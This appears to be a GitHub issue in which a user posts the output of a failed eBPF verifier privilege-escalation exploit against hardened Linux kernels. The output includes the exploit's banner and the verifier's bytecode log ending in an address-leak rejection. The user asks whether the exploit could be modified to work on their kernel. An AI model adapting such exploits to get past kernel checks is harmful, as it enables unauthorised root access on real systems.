rlarabee / exploits Goto Github PK

It returned the following error :

[.]
[.] t(--t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(--t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[] creating bpf map
[] sneaking evil bpf past the verifier
[*] log:
0: (b4) (u32) r2 = (u32) -1
1: (55) if r2 != 0xffffffff goto pc+2
R1=ctx R2=imm-1 R10=fp
2: (b7) r0 = 0
3: (95) exit

from 1 to 4: R1=ctx R2=inv R10=fp
4: (7b) *(u64 *)(r10 -16) = r1
5: (18) r9 = 0x0
7: (bf) r1 = r9
8: (bf) r2 = r10
9: (07) r2 += -4
10: (62) *(u32 *)(r10 -4) = 0
11: (85) call 1
12: (55) if r0 != 0x0 goto pc+1
R0=imm0 R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
13: (95) exit

from 12 to 14: R0=map_value(ks=4,vs=8) R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
14: (79) r6 = *(u64 *)(r0 +0)
15: (bf) r1 = r9
16: (bf) r2 = r10
17: (07) r2 += -4
18: (62) *(u32 *)(r10 -4) = 1
19: (85) call 1
20: (55) if r0 != 0x0 goto pc+1
R0=imm0 R6=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
21: (95) exit

from 20 to 22: R0=map_value(ks=4,vs=8) R6=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
22: (79) r7 = *(u64 *)(r0 +0)
23: (bf) r1 = r9
24: (bf) r2 = r10
25: (07) r2 += -4
26: (62) *(u32 *)(r10 -4) = 2
27: (85) call 1
28: (55) if r0 != 0x0 goto pc+1
R0=imm0 R6=inv R7=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
29: (95) exit

from 28 to 30: R0=map_value(ks=4,vs=8) R6=inv R7=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
30: (79) r8 = *(u64 *)(r0 +0)
31: (bf) r2 = r0
32: (b7) r0 = 0
33: (55) if r6 != 0x0 goto pc+2
R0=imm0 R2=map_value(ks=4,vs=8) R6=imm0 R7=inv R8=inv R9=map_ptr(ks=4,vs=8) R10=fp fp-16=ctx
34: (7b) *(u64 *)(r2 +0) = r10
R10 leaks addr into map
[!] failed to load prog 'Permission denied'

Do you think if it's possible to modify the exploit to work in this kernel version.